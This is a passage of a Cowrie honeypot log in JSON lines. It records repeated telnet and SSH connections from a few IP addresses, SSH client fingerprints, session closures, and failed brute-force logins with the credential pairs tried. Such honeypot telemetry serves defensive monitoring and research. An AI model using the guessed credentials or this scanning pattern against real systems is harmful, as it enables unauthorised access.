xt-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:25.476213Z","src_ip":"181.65.191.218","session":"b2e52262482b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"test","message":"login attempt [guest/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:25.971716Z","src_ip":"181.65.191.218","session":"b2e52262482b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:27.090146Z","src_ip":"181.65.191.218","session":"b2e52262482b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":41482,"dst_ip":"10.17.0.5","dst_port":23,"session":"30fdd64b07df","protocol":"telnet","message":"New connection: 146.185.21.169:41482 (10.17.0.5:23) [session: 30fdd64b07df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:27.848911Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":43586,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e9cab4128b2","protocol":"telnet","message":"New connection: 146.185.21.169:43586 (10.17.0.5:23) [session: 7e9cab4128b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:29.063833Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40824,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae1ad392bf0f","protocol":"telnet","message":"New connection: 146.185.21.169:40824 (10.17.0.5:23) [session: ae1ad392bf0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:31.859591Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46000,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b017751fb35","protocol":"telnet","message":"New connection: 146.185.21.169:46000 (10.17.0.5:23) [session: 7b017751fb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:32.759874Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":45408,"dst_ip":"10.17.0.5","dst_port":23,"session":"22f94fe17111","protocol":"telnet","message":"New connection: 146.185.21.169:45408 (10.17.0.5:23) [session: 22f94fe17111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:32.809439Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":54020,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ab2650e6807","protocol":"telnet","message":"New connection: 146.185.21.169:54020 (10.17.0.5:23) [session: 6ab2650e6807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:33.853549Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":44158,"dst_ip":"10.17.0.5","dst_port":23,"session":"62bc1228e72c","protocol":"telnet","message":"New connection: 146.185.21.169:44158 (10.17.0.5:23) [session: 62bc1228e72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:33.895016Z"}
{"eventid":"cowrie.session.closed","duration":33.37906336784363,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:35.007659Z","src_ip":"103.82.231.165","session":"bb23766a783f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":45728,"dst_ip":"10.17.0.5","dst_port":23,"session":"32ceed0b63a4","protocol":"telnet","message":"New connection: 146.185.21.169:45728 (10.17.0.5:23) [session: 32ceed0b63a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:38.261584Z"}
{"eventid":"cowrie.session.closed","duration":31.29503107070923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:39.632454Z","src_ip":"146.185.21.169","session":"3742dd61dd6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50754,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c550bafafad","protocol":"telnet","message":"New connection: 146.185.21.169:50754 (10.17.0.5:23) [session: 2c550bafafad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:39.640623Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":54368,"dst_ip":"10.17.0.5","dst_port":23,"session":"6618c2d8bef4","protocol":"telnet","message":"New connection: 146.185.21.169:54368 (10.17.0.5:23) [session: 6618c2d8bef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:40.689382Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":37506,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c4e01139cef","protocol":"telnet","message":"New connection: 146.185.21.169:37506 (10.17.0.5:23) [session: 9c4e01139cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:44.382784Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":37846,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2edaa5769a2","protocol":"telnet","message":"New connection: 146.185.21.169:37846 (10.17.0.5:23) [session: a2edaa5769a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:44.504694Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":43018,"dst_ip":"10.17.0.5","dst_port":23,"session":"f110b6696518","protocol":"telnet","message":"New connection: 146.185.21.169:43018 (10.17.0.5:23) [session: f110b6696518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:46.380059Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46040,"dst_ip":"10.17.0.5","dst_port":23,"session":"81812ef2bde6","protocol":"telnet","message":"New connection: 146.185.21.169:46040 (10.17.0.5:23) [session: 81812ef2bde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:47.538412Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51106,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab691cf4beac","protocol":"telnet","message":"New connection: 146.185.21.169:51106 (10.17.0.5:23) [session: ab691cf4beac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:49.454076Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":52080,"dst_ip":"10.17.0.5","dst_port":23,"session":"364a8d68faeb","protocol":"telnet","message":"New connection: 146.185.21.169:52080 (10.17.0.5:23) [session: 364a8d68faeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:49.750008Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":53882,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a68ad994041","protocol":"telnet","message":"New connection: 146.185.21.169:53882 (10.17.0.5:23) [session: 6a68ad994041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:50.504544Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":57822,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8878cc1ac24","protocol":"telnet","message":"New connection: 146.185.21.169:57822 (10.17.0.5:23) [session: a8878cc1ac24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:31:52.057676Z"}
{"eventid":"cowrie.session.closed","duration":31.002062559127808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:00.065754Z","src_ip":"146.185.21.169","session":"7e9cab4128b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73912215232849,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:00.587920Z","src_ip":"146.185.21.169","session":"30fdd64b07df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.257612943649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:02.117100Z","src_ip":"146.185.21.169","session":"ae1ad392bf0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18278479576111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:04.036226Z","src_ip":"146.185.21.169","session":"6ab2650e6807","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.232036113739014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:04.041370Z","src_ip":"146.185.21.169","session":"22f94fe17111","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.157047033309937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:04.051859Z","src_ip":"146.185.21.169","session":"62bc1228e72c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":33014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c795342a6f3","protocol":"telnet","message":"New connection: 146.185.21.169:33014 (10.17.0.5:23) [session: 6c795342a6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:06.064967Z"}
{"eventid":"cowrie.session.closed","duration":35.1559853553772,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:07.915757Z","src_ip":"146.185.21.169","session":"7b017751fb35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096403121948242,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:09.357913Z","src_ip":"146.185.21.169","session":"32ceed0b63a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.463003158569336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:10.103547Z","src_ip":"146.185.21.169","session":"2c550bafafad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.454229831695557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:11.143526Z","src_ip":"146.185.21.169","session":"6618c2d8bef4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":49100,"dst_ip":"159.203.135.109","dst_port":23,"session":"358a60eaf144","protocol":"telnet","message":"New connection: 98.51.244.245:49100 (159.203.135.109:23) [session: 358a60eaf144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:13.169224Z"}
{"eventid":"cowrie.session.closed","duration":30.81499171257019,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:15.319576Z","src_ip":"146.185.21.169","session":"a2edaa5769a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27389907836914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:15.656591Z","src_ip":"146.185.21.169","session":"9c4e01139cef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814505577087402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:17.194429Z","src_ip":"146.185.21.169","session":"f110b6696518","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514580249786377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:18.052886Z","src_ip":"146.185.21.169","session":"81812ef2bde6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":48606,"dst_ip":"10.17.0.5","dst_port":23,"session":"993b38426abc","protocol":"telnet","message":"New connection: 146.185.21.169:48606 (10.17.0.5:23) [session: 993b38426abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:18.155535Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50188,"dst_ip":"10.17.0.5","dst_port":23,"session":"852ee0a4ea49","protocol":"telnet","message":"New connection: 146.185.21.169:50188 (10.17.0.5:23) [session: 852ee0a4ea49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:19.244597Z"}
{"eventid":"cowrie.session.closed","duration":30.30761170387268,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:20.057528Z","src_ip":"146.185.21.169","session":"364a8d68faeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.672287940979004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:20.126260Z","src_ip":"146.185.21.169","session":"ab691cf4beac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595820903778076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:21.100241Z","src_ip":"146.185.21.169","session":"6a68ad994041","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":56094,"dst_ip":"10.17.0.5","dst_port":23,"session":"956d59d15bcb","protocol":"telnet","message":"New connection: 146.185.21.169:56094 (10.17.0.5:23) [session: 956d59d15bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:22.664135Z"}
{"eventid":"cowrie.session.closed","duration":31.133729934692383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:23.191280Z","src_ip":"146.185.21.169","session":"a8878cc1ac24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":49334,"dst_ip":"10.17.0.5","dst_port":23,"session":"42608c030255","protocol":"telnet","message":"New connection: 62.72.47.216:49334 (10.17.0.5:23) [session: 42608c030255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:23.639634Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":59622,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e29a578a0ce","protocol":"telnet","message":"New connection: 146.185.21.169:59622 (10.17.0.5:23) [session: 1e29a578a0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:24.168103Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40152,"dst_ip":"10.17.0.5","dst_port":23,"session":"01f4964ba862","protocol":"telnet","message":"New connection: 146.185.21.169:40152 (10.17.0.5:23) [session: 01f4964ba862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:31.210612Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":38716,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a3f842db0cb","protocol":"telnet","message":"New connection: 146.185.21.169:38716 (10.17.0.5:23) [session: 0a3f842db0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:31.820843Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":48873,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d1644d2e7be","protocol":"telnet","message":"New connection: 98.51.244.245:48873 (159.203.135.109:23) [session: 2d1644d2e7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:32.414593Z"}
{"eventid":"cowrie.session.closed","duration":30.99970841407776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:37.064540Z","src_ip":"146.185.21.169","session":"6c795342a6f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":43596,"dst_ip":"10.17.0.5","dst_port":22,"session":"35db0fd426f4","protocol":"ssh","message":"New connection: 181.65.191.218:43596 (10.17.0.5:22) [session: 35db0fd426f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:37.138164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:37.141429Z","src_ip":"181.65.191.218","session":"35db0fd426f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:37.251002Z","src_ip":"181.65.191.218","session":"35db0fd426f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"987654321","message":"login attempt [ubuntu/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:37.722955Z","src_ip":"181.65.191.218","session":"35db0fd426f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:38.834740Z","src_ip":"181.65.191.218","session":"35db0fd426f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":49884,"dst_ip":"10.17.0.5","dst_port":23,"session":"412668d22605","protocol":"telnet","message":"New connection: 146.185.21.169:49884 (10.17.0.5:23) [session: 412668d22605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:40.128308Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":48888,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c32fc993dbc","protocol":"telnet","message":"New connection: 146.185.21.169:48888 (10.17.0.5:23) [session: 4c32fc993dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:40.358793Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51370,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44da10fad3f","protocol":"telnet","message":"New connection: 146.185.21.169:51370 (10.17.0.5:23) [session: d44da10fad3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:41.232708Z"}
{"eventid":"cowrie.session.closed","duration":30.84335947036743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:50.087865Z","src_ip":"146.185.21.169","session":"852ee0a4ea49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":50576,"dst_ip":"10.17.0.5","dst_port":23,"session":"21924c16b95b","protocol":"telnet","message":"New connection: 62.72.47.216:50576 (10.17.0.5:23) [session: 21924c16b95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:50.791852Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":50720,"dst_ip":"10.17.0.5","dst_port":23,"session":"df6b4fa62eb4","protocol":"telnet","message":"New connection: 62.72.47.216:50720 (10.17.0.5:23) [session: df6b4fa62eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:50.841373Z"}
{"eventid":"cowrie.session.closed","duration":33.35641360282898,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:51.511814Z","src_ip":"146.185.21.169","session":"993b38426abc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":54776,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf9c67bebe2","protocol":"telnet","message":"New connection: 62.72.47.216:54776 (10.17.0.5:23) [session: fdf9c67bebe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:52.776875Z"}
{"eventid":"cowrie.session.closed","duration":30.96211814880371,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:53.626114Z","src_ip":"146.185.21.169","session":"956d59d15bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62866449356079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:54.268211Z","src_ip":"62.72.47.216","session":"42608c030255","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":59802,"dst_ip":"10.17.0.5","dst_port":23,"session":"958c2df9c6bf","protocol":"telnet","message":"New connection: 62.72.47.216:59802 (10.17.0.5:23) [session: 958c2df9c6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:54.880672Z"}
{"eventid":"cowrie.session.closed","duration":31.51755118370056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:55.685548Z","src_ip":"146.185.21.169","session":"1e29a578a0ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":33242,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac13ad14283a","protocol":"telnet","message":"New connection: 62.72.47.216:33242 (10.17.0.5:23) [session: ac13ad14283a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:55.726328Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":33060,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b7684b7ba9","protocol":"telnet","message":"New connection: 146.185.21.169:33060 (10.17.0.5:23) [session: d6b7684b7ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:58.759359Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":41696,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfc3d7522ee9","protocol":"telnet","message":"New connection: 62.72.47.216:41696 (10.17.0.5:23) [session: bfc3d7522ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:32:59.688310Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":45684,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b9d1455845","protocol":"telnet","message":"New connection: 62.72.47.216:45684 (10.17.0.5:23) [session: 03b9d1455845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:01.585764Z"}
{"eventid":"cowrie.session.closed","duration":30.220664262771606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:33:02.041403Z","src_ip":"146.185.21.169","session":"0a3f842db0cb","protocol":"telnet"}
